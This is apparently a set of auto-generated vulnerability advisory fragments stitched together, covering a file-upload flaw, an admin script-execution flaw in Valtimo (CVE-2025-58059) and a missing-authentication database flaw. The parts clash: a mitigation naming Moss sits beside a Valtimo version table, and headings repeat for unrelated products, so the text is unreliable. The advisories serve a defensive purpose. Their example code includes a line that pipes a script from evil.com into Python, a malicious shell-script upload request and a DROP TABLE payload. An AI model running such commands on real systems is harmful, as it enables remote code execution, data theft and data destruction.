The following is a conceptual example of how an attacker might exploit this vulnerability. This is a sample HTTP POST request to upload a malicious file to the server:

POST /upload/file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious_script.sh"
Content-Type: application/x-sh
{ "malicious_script": "..." }
------WebKitFormBoundary7MA4YWxkTrZu0gW--

Mitigation

The best mitigation for this vulnerability is to apply the vendor patch. It is strongly recommended to upgrade to a version of Moss that is v0.15 or later. Until the patch can be applied, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure. These systems can be configured to block or alert on suspicious file uploads that may be attempts to exploit this vulnerability.

Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Valtimo | Before 12.16.0.RELEASE
Valtimo | 13.0.0.RELEASE to before 13.1.2.RELEASE

How the Exploit Works

The exploit hinges on the ability of an admin to create, modify, and execute process definitions. This can potentially allow the execution of arbitrary scripts leading to several high-risk outcomes. These include running executables on the application host, extracting sensitive application data, and inspecting the host environment or application properties, including Spring beans. The exploit requires the attacker to be logged in as an admin and to have a fundamental understanding of running scripts via the Camunda/Operator engine.

Conceptual Example Code

Below is a
conceptual
example of how the vulnerability might be exploited. This is represented in pseudocode for illustrative purposes:

# Login as admin
login('admin', 'admin_password')
# Create a process definition with malicious script
create_process_definition("""
import os
os.system('curl http://evil.com/steal_data.py | python')
""")
# Execute the process definition
execute_process_definition()

This pseudocode example represents a malicious script embedded within a process definition. This script, when executed, would pull down a second script from a hostile server and execute it, potentially leading to data exfiltration or other malicious activities. This illustrates the potential severity of the CVE-2025-58059 vulnerability. A real exploit may be more complex and less obvious.

How the Exploit Works

The exploit works by taking advantage of the Missing Authentication vulnerability in the TSA developed by Changing. Specifically, the vulnerability lies in the software’s failure to properly authenticate users before granting access to the database. As a result, unauthenticated remote attackers can gain unrestricted access to the database, enabling them to read, modify, and delete its contents.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited. It represents a HTTP request where the attacker sends a malicious payload to a vulnerable endpoint:

POST /database/modify HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "malicious_payload": "DROP TABLE Customers;" }

In this hypothetical example, the attacker sends a SQL command as part of the malicious payload that would delete an entire table from the database.

Mitigation Guidance

To mitigate against this vulnerability, users are strongly advised to apply the patch provided by the vendor. If the patch cannot be applied immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
